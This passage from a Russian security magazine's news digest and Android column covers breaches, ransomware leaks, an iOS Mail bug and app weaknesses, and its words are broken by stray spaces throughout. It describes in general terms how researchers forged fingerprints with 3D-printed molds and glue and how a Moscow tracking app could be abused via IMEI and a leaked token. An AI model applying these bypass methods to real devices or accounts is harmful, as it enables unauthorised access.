набл юдалось порядк а 12 000 000 ежедн евных заг рузок, то теперь их количест во увел ичил ось
до 16 000 000, то есть на 33%.
Всплеск активнос ти заметен и на уровн е тор рент‐трек еров. К прим еру, опер атор трек ера Open‐
Trackr.org сообщ ил изда нию, что наб люда ет уве личе ние общег о чис ла соедин ений, а так же
количест ва под ключ енн ых пиров. В пери од с 31 март а по 6 апрел я ежед невное пиковое
количест во пиров уве личил ось с 24 000 000 до 26 000 000.
CLOUDFLARE
БЕЗ RECAPTCHA
Ком пания Cloudflare сообщ ила, что намерев ает ся перейт и на исполь зование
аль тер натив ного серв иса для обна руже ния ботов hCaptcha, раз рабаты‐
ваемо го калифорн ийс кой ком пание й Intuition Machines, Inc.
Со осно ватель и исполни тель ный дирек тор Cloudflare Мэттью Принс
(Matthew Prince) объ ясняе т, что на этот шаг комп анию зас тавили пой ти пла ны
Google. Дело в том, что в ближ ай шем будущем ИТ‐гигант собира ется начать
взи мать плат у за исполь зование reCAPTCHA. Для Cloudflare это будет озна‐
чать допол нительн ые расх оды в разм ере нес кольк их мил лионов дол ларов
в год. И эти расх оды ком пании пришл ось бы брать на себя, что бы не воз‐
лагать на клие нтов.
Сей час Cloudflare исполь зует Google reCAPTCHA в свои х прод ук тах IP Fire‐
wall и Gatebot. То есть reCAPTCHA при меня ется в том слу чае, если защищен‐
ный Cloudflare сайт под верга ется DDoS‐ или дру гой автом ати зиро ванн ой ата‐
ке. В такой ситуа ции поль зовате лям пред лагаю т запол нить форм у reCAPTCHA
перед дос тупом на сайт.
Так же Cloudflare использ ует reCAPTCHA для работы функ ции Security Lev‐
els, поз воляя адми нист рат орам сайт ов вклю чать reCAPTCHA для всех вхо‐
дящих поль зовател ей. Таким образ ом адми нис тра тор получае т прост ейш ий
инс трум ент для фильт ра ции траф ика и огран иче ния скор ос ти, вне зависи‐
мост и от того, находит ся сайт под атак ой или же нет.
Теп ерь пред ста вите ли Cloudflare пишут, что Google, конечн о же, име ет
пол ное прав о брать деньг и за reCAPTCHA, но Cloudflare будет вынуж дена
перей ти на исполь зование друг ого серв иса.
Обыч но Intuition Machines, раз рабатыв ающая hCaptcha, зарабат ывае т
деньг и, пре дос тавляя дос туп к hCaptcha ком пани ям, которые хотят про вес ти
экспер имент в области клас сификац ии изоб ражений, а так же плат ит влад ель‐
цам сай тов за разм ещение hCaptcha.
В слу чае Cloudflare все будет наобор от: это Cloudflare будет плат ить
калифор ний ской ком пании. По слов ам Принс а, это гарант иру ет, что у Intuition
Machines будут ресур сы для масш таб иро вания инфраструк туры, которая
удовл етво рит тре бован ия Cloudflare. Разумее тся, оплат а услуг hCaptcha тоже
означ ает допол нитель ные рас ходы для ком пании, но гла ва Cloudflare пояс‐
няет, что эти рас ходы лишь кру пица по сравн ению с воз можны ми зат ратами
на reCAPTCHA.
Кро ме того, использ ование hCaptcha решит две дру гие проб лемы,
с которым и Cloudflare при ходи лось стал киватьс я при использ овании re‐
CAPTCHA. Во‐пер вых, reCAPTCHA порой бло кируе тся в Китае, а зна чит,
Cloudflare не может использ овать прод укт Google для китай ских сай тов
и поль зовател ей. Во‐вто рых, Cloudflare давн о тре вожит полити ка Google
по сбо ру конф иденц иаль ных данн ых. Принс пишет, что теперь Cloudflare
боль ше не прид ет ся бес поко итьс я об этом, пос кольк у hCaptcha собирае т
гораз до меньш е данн ых о польз овател ях, заполн яющих форм ы.
РАЗ БЛОК ИРОВ КА TELEGRAM
Деп утат ы Гос думы от «Справ ед ливой Росс ии» подг отовил и законопр оект о прекр ащении бло‐
киров ок Telegram. Идея воз никла из‐за того, что сей час Telegram, по сути, оказ алс я «офиц иаль‐
ным серв исом» госор ганов, через который они рас простран яют информац ию о корона виру се.
Законопр оект уже нап равили премь ер‐минист ру Михаи лу Мишуст ину, а так же в Мин ком связ и.
→ «В боль шинс тве случ аев Telegram работа ет у рос сий ских поль зовате лей без каких‐либо
помех, а в слу чае их наличия в стран е сфор мирован о широкое предл ожение бесп латн ых
средств обхо да бло киров ок. Дальн ейшая дек ларатив ная блок иров ка месс ен дже ра, таким обра‐
зом, наносит урон не его раз витию, а прес тижу государс твенн ой власт и РФ»
— Федот Тумусов и Дмитр ий Ионин, автор ы законопр оек та
АТАКИ НА ЮЗЕРОВ
NINTENDO
В середи не апрел я поль зовате ли Nintendo стал и масс ово жаловать ся на ком‐
про мета цию учет ных записей. Неиз вес тные лица вхо дили в чужие акка унты
из самых раз ных стран мира, и мног ие пост рад ав шие теряли деньг и в резуль‐
тате таких инцид ент ов. В некото рых слу чаях хакеры покупа ли игры Nintendo
за чужой счет, но чаще всег о прио бре тали игро вую валюту Fortnite через при‐
вязан ную к про филю Nintendo карт у или аккау нт PayPal.
При этом было не ясно, как именн о злоу мыш ленни ки взлам ыва ют акка‐
унты. Расс мат ривалась вероя тность, что хакеры исполь зуют атак и типа cre‐
dential stuffing, но это лишь одна из теорий. Напом ню, что таким тер мином
обоз нача ют ситуа ции, когд а име на поль зовате лей и пароли похища ются
с одних сайт ов, а затем исполь зуют ся прот ив дру гих. То есть злоу мыш ленни‐
ки име ют уже готовую базу учет ных дан ных (при обре тен ную в дарк нет е, соб‐
ранную самост оятель но и так далее) и пыта ются исполь зовать эти данн ые,
что бы авто ризо ватьс я на каких‐либо сайт ах и серв исах под видом сво их
жертв. Однак о мно гие пос трад ав шие сообщ али, что использ овали для свои х
учет ных записей сложн ые и уник аль ные пароли, в том чис ле соз данные
с помощью парольн ых менед жеров.
В ито ге ком пания Nintendo все же подт верд ила факт атак и сообщ ила, что
неиз вест ные зло умыш ленни ки взлом али учет ные записи при мер но 160 тысяч
польз овате лей. Как выясн яет ся, пробл ема дейс тви тель но закл ючалась не в
атак ах credential stuffing и перебо ре наибол ее расп ростра ненн ых комб инаций
учет ных дан ных.
Иг ровая ком пания утвер жда ет, что хакеры вмес то это го вос польз овались
интеграц ией с NNID, то есть Nintendo Network ID, что бы получить дос туп
к чужим про филям. NNID — это уста рев шая логин‐сис тема, исполь зуемая
для управле ния учет ными записям и на стар ых плат формах Wii U или Nintendo
3DS. На новых устройс твах Nintendo поль зовате ли такж е могут связ ать свои
стар ые учет ные записи NNID с про филем Nintendo.
Пред ста вите ли Nintendo не уточн или, что именн о про изошл о, но заявил и,
что NNID больш е не подд ержив ает ся и войт и таким образ ом в основной про‐
филь Nintendo не получит ся.
Nintendo пред упр ежда ет сво их кли ентов, что хакеры могл и получить дос‐
туп к информац ии учет ной записи, такой как никн ейм, дата рожд ения, стран а,
регио н и адрес элект рон ной почт ы. Комп ания уже связ ывае тся с пос тра дав‐
шими, что бы иниц ииро вать сброс паролей как для основных учет ных записей,
так и для учет ных записей NNID.
18 000 000 «КОРОНА ВИРУС НЫХ» ПИСЕМ
Раз работч ики Google адап тирую т машинн ое обу чение для борьб ы с мошен никами, киберп рес‐
тупник ами и прав ительс твенн ыми хакера ми, которые активно использ уют тему пан демии
коронав иру са для фишин говых атак.
Толь ко за одну неделю ком пания заб локиро вала более 18 000 000 фишин говых писем, свя‐
занн ых с COVID‐19 и нацелен ных на польз овател ей Gmail.
Так ой «корона вирус ный» фишинг сост авля ет прим ерн о 2,5% от 100 000 000 фишин говых
писем, которые Google бло киру ет ежед невно.
Такж е раз работ чики сообщ или о бло киро вании 240 000 000 ежед невных спам‐сообщ ений,
связ анн ых с COVID‐19.
НЕНАДЕЖНЫЕ
ОТПЕЧАТКИ
Счит ает ся, что биометр ическ ая аутен тификац ия — это более безопас ная
аль тер натива тра дицио нным паролям. Аутент ификац ия поср едст вом отпе чат‐
ков пальц ев в наст оящее врем я наибо лее рас простра нен ная фор ма биомет‐
рии и исполь зует ся в смар тфон ах, ноут буках и друг их устрой ствах, таких
как умные замк и и USB‐накопи тели.
Од нако пров еденн ое экспер тами Cisco Talos иссле дова ние показал о, что
в 80% слу чаев аутент ификац ию с помощью отпеч ат ков пальц ев можн о
без тру да обой ти.
Для сво их тест ов исслед оват ели брал и отпеч ат ки пальц ев непоср едст вен‐
но у целево го поль зовате ля устройс тва или с повер хнос тей, к которым прит‐
рагива лась потен циальн ая жерт ва. При этом спе циалист ы устан ови ли отно‐
ситель но низк ий бюдж ет для этог о иссле дова ния, чтоб ы опред елить, чего
может дост ичь ата кующий с огран иченн ыми ресур сами. Так, в общей слож‐
ности они пот ратили окол о 2000 дол ларов на тес тирова ние устройс тв Apple,
Microsoft, Samsung, Huawei и дру гих.
Эк сперт ы обра батыв али получен ные отпеч ат ки фильт ра ми для повыше ния
конт растност и, исполь зовали 3D‐прин тер для соз дания слеп ков, а затем
форм ировал и под дельн ый отпеч аток, запол няя эту форм у недорог им клее м.
При работе с емкос тным и дат чиками матери алы так же долж ны были включ ать
гра фит и алю мини евую пудр у для увел ичен ия про води мост и.
Анал итик и про верил и подд ель ные отпеч ат ки паль цев на оптич еск их, емкос‐
тных и уль траз вуковых дакт илос копическ их скан ерах, но не обнар ужи ли
каких‐либо сущест вен ных разл ичий с точ ки зрен ия безопасн ости. Зато в Cis‐
co Talos отме чают, что дост игли наилуч ших показа телей, ата куя ульт раз‐
вуковые сенс оры — новей ший тип, обычн о они встро ены прям о в дис плей
устрой ства.
Легч е все го обма нуть при помощи фальш ивых отпе чат ков пальц ев уда‐
лось замок AICase, а так же смарт фо ны Huawei Honor 7x и Samsung Note
9 на базе Android. Для этих девай сов ата ки были успешны ми в 100% случ аев.
Почт и столь же успешным и были ата ки на iPhone 8, MacBook Pro 2018 и Sam‐
sung S10, где показат ель успех а сос тавил более 90%. Пять моделей ноут‐
буков под управлен ием Windows 10 и два USB‐накопи теля (Verbatim Finger‐
print Secure и Lexar JumpDrive F35) показа ли наилучш ие резуль таты: обма нуть
их при помощи фаль шив ки не удал ось.
→Продолжение статьи
← Начало статьи
Та ким обра зом, в случ ае с мобиль ными телефон ами исслед ова тели обош ли
аутен тификац ию по отпеч ат кам паль цев на подавл яющем боль шинс тве
устройс тв. На ноут буках уда лось добитьс я 95% успе ха (особ енн о лег ко было
с MacBook Pro), а вот обойт и защиту устрой ств с Windows 10 на борт у,
использ ующих фрейм ворк Windows Hello, не получил ось вов се.
Ана литик и пишут, что, хотя обма нуть биомет ричес кую аутен тификац ию
на Windows‐машинах и USB‐накопи телях им не уда лось, это еще не означ ает,
что они так хорошо защищен ы. Прос то для их взлом а нужен дру гой подх од.
Вряд ли они усто ят перед ата кующим с хорошим бюдж етом, больш им
количест вом ресурс ов и проф ес сиональн ой коман дой.
Хо тя Samsung A70 тоже про демонст ри ровал стой кость, исслед ова тели
объ ясня ют, что его биомет ричес кая аутен тификац ия попр осту работа ет край‐
не пло хо и зачас тую не рас познае т даже реальн ые отпеч ат ки паль цев,
которые были зарегис три рован ы в сист еме.
Осн овыва ясь на получен ных результ атах, спец иалист ы дела ют вывод, что
техн ология аутент ификац ии по отпе чат кам пальц ев еще не дос тигла уров ня,
пос ле которо го ее мож но будет счит ать надежн ой и безопас ной. Факт ическ и
исслед оват ели пишут, что аутент ифика ция по отпеч ат кам паль цев на смар‐
тфо нах ста ла сла бее по срав нению с 2013 годом, ког да комп ания Apple пред‐
став ила Touch ID для iPhone 5, а затем эта сист ема была взлом ана.
«Резуль таты показыв ают, что отпе чат ки паль цев дос таточ но хороши,
что бы защитить личн ую жизнь рядово го челове ка, если он потеря ет
свой телефон. Одна ко человек, который может стать мишенью хорошо
финан сируе мо го и мотиви рованн ого ата кующег о, не дол жен исполь-
зовать аутент ификац ию по отпеч атк ам пальц ев.
Для обычн ого польз овате ля аутен тифика ция по отпеч атк у паль ца
имее т очев идн ые пре иму щест ва и предл ага ет инту итив но понятн ый
уров ень безопасн ости. Одна ко если польз ователь ока зал ся потен-
циальн ой целью для злоу мыш ленни ков с хорошим бюд жетом, а его
устрой ство содер жит конф иден циаль ную информац ию, мы рекомен-
дуем полагать ся на надеж ные пароли и двухф актор ную аутент ифика-
цию на осно ве токенов», — резюми руют эксперт ы Cisco Talos.
ДЫ РЫ МОБИЛЬН ОГО БАН КИНГА
Экс пер ты Positive Technologies изу чили бан ковс кие мобильн ые при ложен ия и выясн или, что
более половин ы всех уязв имост ей содер жатся в серв ерных час тях прил ожен ий, а в каж дом вто‐
ром мобиль ном бан ке возм ожны мошенн ическ ие опе рации и кра жа денеж ных средств.
Был о изуч ено 14 полн офунк ци ональн ых бан ковс ких мобиль ных при ложен ий для Android и iOS,
загр уженн ых из офи циальн ых магазин ов Google Play и App Store не менее 500 000 раз.
Ни одно из исслед ованн ых мобиль ных банк овс ких при ложе ний не облад ало при емлем ым
уров нем защищен ности.
43% при ложе ний хран ят важ ные дан ные на мобильн ом устрой стве в открыт ом виде. При этом
76% уязв имос тей можн о эксп луа тир овать без физичес кого дост упа к устройс тву, а более 1/3
уяз вимос тей не тре буют адми нис тра тивн ых прав.
Все недос татки, выяв ленные в мобиль ных бан ках для iOS, были не выше средн его уровн я рис‐
ка. 29% при ложе ний для Android содерж али уяз вимост и высоко го уровн я рис ка.
До ля уяз вимост ей разл ично го уровн я риск а
54% всех уяз вимост ей содерж атся в серв ерных час тях мобиль ного банк а, а сер верная часть
каж дого мобиль ного бан ка содерж ит в средн ем 23 уяз вимос ти. При этом 3 из 7 серв ерных час‐
тей при ложен ий имею т ошиб ки биз нес‐логики.
Сред нее количест во уязв имост ей на одно при ложе ние
В каж дом втором мобиль ном банк е воз можно про веде ние мошенн ическ их опер аций. Наибо‐
лее уязв имыми в мобиль ных банк ов ских прил оже ниях ока зались аутентификационные
данные.
К счастью, для экс плу ата ции 87% уязв имос тей зло умышл енни ку тре буютс я дейс твия со сто‐
роны поль зовате ля.
Топ‐10 проб лем в при ложен иях
БОЛЬШОЙ СЛИВ
DOPPELPAYMER
Опе рато ры вымогат еля DoppelPaymer опуб ликова ли в Сети дан ные, похищен‐
ные у про мышл енно го под рядчик а Visser Precision, так как комп ания не зап‐
латила выкуп.
Нап омн ю, что в посл едние месяцы опер ато ры шиф ровальщ иков ста ли все
чаще публ иковать в откры том дос тупе дан ные, похищен ные у пос трад авш их
ком паний. Такая информац ия может вклю чать финанс овые докумен ты ком‐
пании, лич ную информа цию сот рудник ов и кли ент ские данн ые.
Разр абот чики мал вари при зываю т аффил иров анн ых лиц копиров ать дан‐
ные жертв перед шифр ование м, чтоб ы затем эту информац ию можн о было
исполь зовать в качес тве рычага давл ения (а если это не поможет, обна родо‐
вать или про дать). Собс твенн ые сай ты для этих целей уже завели разр абот‐
чики вымога телей Maze, DoppelPaymer, Sodinokibi (REvil) и дру гие.
Ком пания Visser Precision, пос трад авш ая от атак и DoppelPaymer, —
это один из круп ней ших под рядчик ов в США, в чис ло кли ентов которог о вхо‐
дят про мыш ленные пред прия тия, а такж е ком пании аэрок ос мическ ой и авто‐
мобильн ой отрасли (напр имер, Lockheed Martin, SpaceX, Tesla, Boeing, Hon‐
eywell, Blue Origin, Sikorsky, Joe Gibbs Racing).
DoppelPaymer атак овал Visser Precision в март е текуще го года. Так как ком‐
пания не запл атила выкуп в устан овл енный срок (как прав ило, вымога тели
тре буют сот ни тысяч или даже мил лионы дол ларов за вос стан овл ение
зашиф рован ных файл ов), зло умышл енни ки прет ворили свои угроз ы в жизнь
и опуб ликовал и в открыт ом дос тупе подб орку похищен ных докумен тов.
Утечк а зат ронула данн ые таких клие нтов Visser Precision, как Tesla, Lock‐
heed Martin, Boeing и SpaceX. Изда ние The Register пишет, что сре ди обна‐
родо ванн ой докумен тации мож но найт и зак рытую информа цию о воен ном
обо рудо вании, раз работан ном Lockheed Martin, напр имер спец ифи кации
антенны для сист емы защиты от миномет ов. Такж е была опубл икова на
финанс овая докумен тация, информац ия о пост авщик ах, отче ты об ана лизе
данн ых и юри дичес кие докумен ты.
Жур налис ты обра тились за ком мента рием ко всем пос трад авш им ком‐
пания м, но ответ ов от Visser Precision, Tesla, SpaceX и Boeing не получи ли.
Лишь пред став ител и Lockheed Martin сообщ или изда нию, что им извес тно
о ситуа ции с Visser Precision, и в наст оящее вре мя ком пания сле дует станд ар‐
тно му про цес су реаги рова ния на потенц иаль ные киберинц идент ы, свя зан ные
с цепоч кой пост авок.
«Lockheed Martin вкла дыва ла и про дол жает вклад ывать знач ительн ые
средст ва в кибер безопасн ость и использ ует лидиру ющие в отрасли
методы в области защиты конф иден циальн ых дан ных. Ког да это умес-
тно, мы готовы пре дост авить нашим пост авщи кам рекомен дации
и ока зать им помощь в повышен ии их уровн я информац ионн ой
безопасн ости», — говорят в Lockheed Martin.
14 УЯЗ ВИМОС ТЕЙ НА ОДНОЙ МАШИНЕ
Эк сперт ы Kenna Security проа нал изи рова ли, как меняе тся лан дшафт атак в зависим ост и
от исполь зуемой жерт вой опе раци онной сис темы. Для это го иссле доват ели изу чили данн ые,
получен ные с 9 000 000 устрой ств из 450 раз личных ком паний и орга низа ций.
Вы яснил ось, что более 50% ком паний исполь зуют разл ичные верс ии Windows и лидиру ет сре‐
ди них Windows 10 с показат елем 85%.
В общей слож ности на машинах под управлен ием Windows 10 эксперт ы выяви ли более
215 000 000 уязв имост ей.
В сред нем на одну машину с Windows 10 прих одит ся 14 уязв имост ей, которые исполь зуют
прест упник и. То есть эксп лои ты для этих пробл ем написан ы и активно прим еняю тся.
НУЛЕВОЙ ДЕНЬ В IOS
Спе циалис ты комп ании ZecOps со общил и о 0day‐уязв имос ти в iOS, которая,
по их данн ым, использ овалась хакерам и с 2018 года или даже дольш е. В час‐
тност и, проб лему уда лось вос прои звести даже в iOS 6, выпущенн ой
в 2012 году.
Исс ле доват ели писали, что экс плуа тац ия уязв имост и не треб ует
какого‐либо вза имо дейс твия с поль зовате лем и злоу мышл енни кам дост аточ‐
но прост о отпра вить жерт ве вред онос ное пись мо. Если польз ователь получит
почт у или откро ет Apple Mail, эксп ло ит сраб отае т. При этом для Gmail и дру гих
почт овых кли ентов ата ка неак туальн а.
В сво ем отче те эксперт ы ZecOps подч еркив али, что уязв имость уже дав но
эксп луа тир уют хакеры. В част нос ти, исслед ова тели обнар ужи ли попыт ки атак
на час тных лиц и ком пании из спис ка Fortune 500 в Север ной Аме рике,
руководст во япон ской комп ании‐перевоз чика, гер манс ко го пост авщи ка услуг
управляе мой безопасн ости, европ ей ско го журн алист а и так далее. При этом
отмеч алось, что обнар уженн ые атак и хорошо подх одят под «про филь» одной
извес тной прав итель ственн ой хак‐групп ы, но ее назв ание не рас кры валось,
так как эксперт ы все же опа сались оши битьс я с атриб уцие й.
В ответ на это экспер ты Apple сде лали офиц иальн ое заяв ление. Как пишут
инже неры ком пании, они тща тель но изуч или информа цию о найд енн ых спе‐
циалис тами проб лемах и счит ают, что экспер ты ошибл ись — уяз вимост и
не использ овались для атак на поль зовател ей. При этом, что пробл емы дей‐
стви тель но есть, комп ания не отриц ает.
«К любым сообщ ени ям об угро зах безопасн ости Apple отно ситс я
серь езно. Мы тщат ель но изуч или отчет иссле доват елей и, осно выва-
ясь на пре дос тавлен ной информа ции, приш ли к выводу, что эти проб-
лемы не пред став ляют непос редст венн ого рис ка для наших поль-
зовате лей. Иссле доват ели выявил и три проб лемы в [Apple] Mail,
но сами по себе они не могут исполь зоватьс я для обхо да средств
защиты iPhone и iPad, и мы не наш ли доказат ельс тв того, что они при-
менял ись про тив наших клие нтов. Эти потенц иаль ные проб лемы будут
устран ены в бли жай шее вре мя с обновле нием ПО. Мы ценим участ ие
‑ИБ исслед ова телей, которые стрем ят ся помочь обесп ечить безопас-
ность наших польз овате лей, и обяз атель но выразим им бла годарн ость
за помощь и участ ие», — пишут эксперт ы Apple.
Сто ит ска зать, что опубл икован ные ZecOps заяв ления выз вали немало воп‐
росов и у ИБ‐спе циалист ов. Так, некотор ые эксперт ы выразил и край ние сом‐
нения в том, что обна руженн ые ошиб ки могл и исполь зовать ся прот ив поль‐
зовател ей в реаль ной жиз ни.
Де ло в том, что исслед ова ние ZecOps осно вывал ось на crash‐логах, обна‐
руженн ых на яко бы пос трад ав ших устрой ствах. Данн ые из этих логов были
интерп ре тиро ваны как попыт ки эксп лу атир овать баг и атак овать поль зовате‐
ля. В част ност и, эксперт ы ZecOps писали, что неудач ные попыт ки атак
оставлял и посл е себя пус тые письм а и crash‐лог устрой ства. Тогд а как удач‐
ные атак и яко бы заканч ивались удал ение м пус тых элек тронн ых писем, чтоб ы
скрыть атак у от поль зовател я.
Но дру гие ИБ‐спец иалист ы отмеч али, что, если бы злоу мыш ленник и удал яли
пуст ые элек трон ные пись ма для сок рытия след ов, скор ее все го, они уда‐
ляли бы и crash‐логи с пос трад ав ших девай сов. Поэтом у мног ие закл ючили,
что анал итик и ZecOps нашл и «испорчен ные» элек трон ные пись ма, появив‐
шиеся из‐за обычн ого бага, а не злон амер ен ные атак и на польз овате лей iOS.
Заяв ление Apple лишь под тверд ило эти выводы.
В свою очер едь, спе циалист ы ZecOps пообещ али опуб ликовать допол‐
нитель ную информа цию об уяз вимост ях и PoC‐эксп ло ит, как тольк о патч ста‐
нет дос тупен для всех польз овате лей iOS. Так, 15 апрел я 2020 года Apple
выпус тила бета‐верс ию iOS 13.4.5, где уяз вимос ти были исправл ены,
и теперь оста ется дож датьс я релиза стаб иль ной вер сии iOS 13.4.5 в ближ ай‐
шие недели.
ДРУ ГИЕ ИНТЕР ЕС НЫЕ СОБЫТИЯ МЕСЯЦА
Сеть отел ей Marriott сообщ ила об утеч ке данн ых, затр онувш ей 5,2 милл иона пос тояльц ев
Не извес тные дефей снул и и стерл и данн ые с 15 тысяч серв еров Elasticsearch
Из‐за взлом а почт ового пров айд ера дан ные 600 тысяч человек попали в прод ажу в дарк нет е
Экс перт ы разобр ались, почему тро ян xHelper практ ичес ки невозм ожно удал ить с устрой ства
NSO Group утверж да ет, что Facebook пыталась купить ПО для слеж ки за поль зовате лями
WhatsApp огра ничил пересылк у популярн ых сообщ ений ради борь бы с фей ками
Экс перт ы прид ума ли, как уда ленн о зас тавить 3D‐принт ер загоретьс я
Влас ти США пред ложили 5 милл ионов долл аров за информац ию о северок орейс ких хакерах
Групп иров ка ICEBUCKET имит иро вала умные телевиз оры, что бы зарабо тать на рек ламе
Уязв имость Starbleed предс тавл яет угро зу для чипов FPGA
HEADER
ANDROID
СОЦИАЛЬНЫЙ МОНИТОРИНГ
И СОВЕТЫ ОТ MICROSOFT
Се год ня в выпус ке: защита при ложен ия Евгений Зобнин
с помощью пров ер ки цифр овой подп иси Редактор Unixoid и Mobile
в нативн ой библ иотек е, анал из прил оже ния
«Социа льн ый монитор инг», расс каз о том, [email protected]
как новые вер сии Android эко номят заряд
батареи, статья о вред ности System.exit(),
советы, как сокр атить раз мер при ложен ия
и оптим изир овать исполь зование батареи,
реализ ация обновлен ия при ложен ия через
само прил ожен ие, надеж ный спос об
показать клав иатур у, а такж е подб орка пла‐
гинов Android Studio, инст рум ен тов пен‐
тестер а и библ иотек для разр аботч ика.
ПОЧИТАТЬ
За щита прил оже ния с помощью пров ер ки циф ровой подп иси
Yet Another Tamper Detection in Android — статья о том, как защитить при ложе‐
ние с помощью про верк и цифр овой подп иси в нативн ой биб лиоте ке.
Лю бое прил оже ние для Android имее т цифр овую под пись, с помощью
которой можн о под тверд ить его авторст во. Проб лема лишь в том, что циф‐
ровая под пись свер яет ся толь ко во врем я обновле ния прил ожен ия (подп иси
не сов падаю т — обно вить нельз я), но не его перв ой устан ов ки. Это зна чит,
что взломщ ик может разоб рать любое прил оже ние, взлом ать его или внед‐
рить новую фун кци ональ ность, а затем соб рать с исполь зовани ем свое го
клю ча. А польз ователь спо койн о его устан овит, при необх одимост и удал ив
ориг иналь ную верс ию прил ожен ия.
Бо роть ся с пиратст вом можн о, внедр ив код про вер ки цифр овой подп иси
пря мо в само прил ожен ие. При стар те прил ожен ие получае т свою собс твен‐
ную цифр овую подп ись, срав нивае т ее с сох ранен ным образцом и, если они
не совп ада ют, заверш ает само себя, показав сообщ ение о пиратс тве.
Не дос таток это го под хода в том, что для сверк и кон трольн ой сумм ы
использ уют ся стан дарт ные API Android (packageManager.getPackageInfo),
ори ентир уясь по которым взлом щик может най ти код сверк и конт роль ной
сумм ы и прос то вырежет его из при ложе ния.
Авт ор статьи предл ага ет раз местить данн ый код в написан ной на язы ке
С библ иотек е. Вмес то API Android эта библ иоте ка исполь зует собст венн ые
средст ва сверк и цифр овой под писи (в час тност и, код из биб лиотек libzip
и mbed TLS). Так же в библ иотек е при менен ряд средств защиты от ревер са,
таких как собст вен ные реали зации фун кций libc и поза имст вов ан ный
из OpenSSL спо соб опре делить, что код библ иоте ки изме нен.
Пос ледний работа ет так: при сбор ке в сек ции text (содер жит код) и rodata
(содерж ит кон стан ты, вклю чая хеш серт ификат а) вставл яют ся спе циальн ые
марк еры, которые помечаю т начало и конец секц ии. Далее вычисл яет ся
HMAC для данн ых меж ду этим и марк ерами и записыв ает ся в секц ию данн ых.
Во врем я вызова фун кции свер ки циф ровых подп исей библ иоте ка пров еряе т
собст вен ную целост ность с помощью HMAC.
Код про екта опуб ликован на GitHub.
Анал из прил оже ния «Социа ль ный монитор инг»
JaDX decompile of com.askgps.personaltrackercore — декомп илиро ванн ые
исходни ки прил оже ния «Социа льн ый монитор инг», соз данног о по заказу
мэрии Мос квы за 180 мил лионов руб лей. При ложе ние получи ло в сред нем
одну звез ду и было удал ено из Google Play меньш е чем через сут ки посл е
публ икации.
Изуч ая исходни ки, мож но заметить, что при ложе ние не при меняе т
никакой, даже самой прос той обфуска ции и переда ет данн ые на серв ер
мэрии Мос квы в открыт ом виде (голый HTTP, без шиф рования), а в качес тве
метода аутен тификац ии исполь зует IMEI (зная IMEI смарт фо на жер твы, зло‐
умышл енник может «отпра вить» его на друг ой край стра ны, сме нить фот ку
и дру гие све дения).
Для рас позна вания лиц прил ожен ие исполь зует эстонс кий сер вис iden‐
tix.one, на который, судя по все му, разр абот чики залили фотогр афии всех
жителей РФ. Это знач ит, что, имея на руках токен сер виса, выд ранный из при‐
ложе ния, зло умыш ленник мог бы использ овать серв ис для иден тификац ии
людей по фотогр афии. К счастью, все API уже зак рыты.
Прим ер но через неделю свой ана лог «Соци альн ого монитор инг а» выпус‐
тило уже Мин комс вяз и. Го сус луги СТОП коронав ирус (ис ходник и) ока залось
более качес твен ным и таких зияющих дыр уже не содер жало. Что, впроч ем,
не помеша ло ему получить сред нюю оценк у в 1,6 звезд ы.
Запр ашивае мые прил ожен ием раз решения
Как новые верс ии Android экон омят заряд батареи
App Standby Buckets In Android — неболь шая замет ка о фун кции App Standby
Buckets, появив шейс я в Android 9.
App Standby Buckets — новая энер госбе рега ющая функ ция, рас ширя ющая
и допол няющая механизм Doze, работа ющий с Android 6. Идея на этот раз
сос тоит в том, что бы раз делить все уста новл енные на смарт фон е прил оже‐
ния на катего рии в зависи мос ти от того, нас кольк о час то они исполь зуют ся.
Осн овных катего рий пять:
• Active — при ложен ие исполь зует ся в данн ый момент или использ овалось
совс ем недав но;
• Working set — час то использ уемые прил ожен ия;
• Frequent — регуляр но использ уемые при ложе ния, но не обяз ательн о
кажд ый день;
• Rare — редк о исполь зуемые при ложен ия;
• Never — при ложен ие уста нов лено, но ни разу не запус калось.
В прост ейш ем слу чае Android груп пиру ет при ложе ния по категор иям, осно‐
вывая сь на вре мени пос ледне го запус ка, но прои зво дитель смарт фон а
может исполь зовать дру гие спо собы групп ировк и. Напр имер, в смар тфо нах
Google Pixel для этих целей прис пособ лена ней ронн ая сеть.
В зависи мос ти от груп пы сис тема при меня ет к прил ожен иям разл ичные
огран иче ния, вклю чая огран иче ния на запуск фоновых задач (Jobs), сра баты‐
вание тай меров (Alarm), дост упность сетевых функ ций и push‐уве дом лений
(Firebase Cloud Messaging — FCM):
Груп па: Active
Jobs: Без огра ниче ний
Alarms: Без огран иче ний
Сеть: Без огра ничен ий
FCM: Без огра ниче ний
Груп па: Working set
Jobs: Зад ерж ка до 2 часов
Alarms: Зад ерж ка до 6 минут
Сеть: Без огран иче ний
FCM: Без огра ниче ний
Груп па: Frequent
Jobs: Зад ерж ка до 8 часов
Alarms: Зад ер жка до 30 минут
Сеть: Без огра ничен ий
FCM: 10 в день
Групп а: Rare
Jobs: За держ ка до 24 часов
Alarms: За дер жка до 2 часов
Сеть: Зад ер жка до 24 часов
FCM: 5 в день
Ин тересн ый побочн ый эффект этой сист емы в том, что если все вза имо дей‐
ствие поль зовател я с прил ожен ием будет свод итьс я тольк о к прочт ению
и смах иван ию уве домл ений, то через неск оль ко дней при ложе ние перейд ет
в груп пу Rare и будет серье зно урез ано в воз можност ях.
Такж е сле дует иметь в виду, что при ложе ние не будет урез ано в прав ах,
если находит ся в списк е исклю чений сис темы энерг осбер еже ния или если
телефон на заряд ке.
РАЗРАБОТЧИКУ
Поч ему не сто ит исполь зовать System.exit()
A cautionary tale on Android: do not call System.exit() — небольш ая статья о том,
почему не сто ит исполь зовать System.exit() в сво ем при ложен ии.
До кумен тация Android говорит, что метод System.exit() (и его экви‐
валент в Kotlin: exitProcess()) дела ет след ующее: заверш ает текущую вир‐
туаль ную машину и сооб щает сис теме, кор рек тным ли было завер шение (0 —
все норм аль но, больш е нуля — про изошл о что‐то пло хое).
Так как в Android кажд ое при ложе ние исполняе тся в собст венн ой вир‐
туальн ой машине, можн о пред положить, что System.exit(), по сути, при‐
водит к пол ному уничт ожению при ложен ия. Это дейс тви тель но так, но есть
один нюанс: если в момент вызова у прил ожен ия были друг ие активнос ти
в сост оянии paused, то они остан ут ся в сте ке активност ей. Это, в свою оче‐
редь, при ведет к тому, что посл е вызова System.exit() будет уничт ожена
текущая активность и само прил ожен ие, а затем сист ема верн ет управле ние
пред ыду щей активнос ти при ложен ия. Но так как при ложе ние уже мерт во, сис‐
тема перезап ус тит его, что бы показать активность.
Что про исхо дит пос ле вызова System.exit()
